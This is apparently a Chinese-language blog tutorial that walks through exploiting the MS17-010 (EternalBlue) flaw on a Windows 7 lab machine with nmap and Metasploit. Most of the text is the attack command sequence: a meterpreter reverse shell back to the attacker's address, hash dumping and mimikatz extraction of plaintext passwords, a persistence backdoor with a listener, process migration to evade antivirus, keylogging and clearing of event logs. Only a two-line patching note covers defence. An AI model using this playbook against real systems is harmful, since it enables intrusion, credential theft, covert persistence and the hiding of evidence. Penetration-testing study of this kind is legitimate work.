实验环境
客户机(win7 ip:192.168.0.105)
攻击机(kali ip:192.168.0.101)
具体步骤
查看局域网设备
使用netdiscover 查看局域网的设备
文章插图
如上图所示,搜索到了一台IP为192.168.0.103的设备
使用 nmap 扫描
root@WHOAMI:~# nmap -sS -A -p- -v -O 192.168.0.103
-sS 半开扫描
-A 全面系统检测、启用脚本检测、扫描等
-p- 扫描全部开放的端口
-v 显示扫描过程,
-O 启用远程操作系统检测,存在误报
扫描结果如下图
文章插图
文章插图
发现目标机器开放的端口还有windows 7操作系统
对主机进行扫描确认是否存在漏洞
msf5 > use auxiliary/scanner/smb/smb_ms17_010
msf5 auxiliary(scanner/smb/smb_ms17_010) > set RHOSTS 192.168.0.103
msf5 auxiliary(scanner/smb/smb_ms17_010) > run
文章插图
上图中出现- Host is likely VULNERABLE to MS17-010!说明客户机存在MS17-010漏洞下面开始漏洞利用
msf5 auxiliary(scanner/smb/smb_ms17_010) > use exploit/windows/smb/ms17_010_eternalblue
msf5 exploit(windows/smb/ms17_010_eternalblue) > set RHOSTS 192.168.0.103
msf5 exploit(windows/smb/ms17_010_eternalblue) > set payload windows/x64/meterpreter/reverse_tcp
msf5 exploit(windows/smb/ms17_010_eternalblue) > set LHOST 192.168.0.101
msf5 exploit(windows/smb/ms17_010_eternalblue) > run
文章插图
连接成功
文章插图
查看权限
meterpreter > getuid
文章插图
查看登录的用户的明文密码
使用命令 run hashdump 加载 hashdump 模块
文章插图
使用命令 load mimikatz 加载 mimikatz 模块,再使用 help mimikatz
文章插图
使用 wdigest 命令获取登录过的用户储存在内存里的明文密码
文章插图
查看分区
run post/windows/gather/forensics/enum_drives
文章插图
查看补丁信息
文章插图
给 win7 留后门
使用命令 run persistence -X -i 10 -r 192.168.0.101 -p 444
文章插图
再开启一个 msf
加载 handler 模块
msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > set LHOST 192.168.0.101
msf5 exploit(multi/handler) > set LPORT 444
msf5 exploit(multi/handler) > run
如下图成功在444端口监听到一个会话
文章插图
Metasploit 键盘记录
ps查看进程
文章插图
将meterpreter当前的进程移动到其他指定的进程中,这样做的好处是可以给meterpreter一个相对稳定的运行环境,同时可以很好的躲避杀毒软件
文章插图
最后,我们启动键盘记录器,等待一段时间并转储输出 。
文章插图
清除痕迹
在渗透入侵的过程中难免会留下一下日志信息痕迹,我们可以使用此命令来擦除留下的痕迹
使用clearev
文章插图
解决措施
·及时打补丁
【永恒之蓝漏洞利用】·安装杀毒软件自动更新补丁
推荐阅读
- 太阳,熄灭或是永恒燃烧?
- 创新,茶机具行业发展永恒的原动力
- Android曝重大安全漏洞:允许攻击者录制视频、监听通话
- Google动态邮件功能出现XSS漏洞,可让黑客透过Gmail发动攻击
- Gmail中AMP4Email所导致的XSS漏洞
- 网站漏洞测试与修复漏洞Laravel框架
- Apache-解析漏洞
- McAfee杀毒软件中的提权漏洞
- SSRF漏洞攻击原理及防御方案
- Google Chrome高危安全漏洞曝光 32亿用户必须更新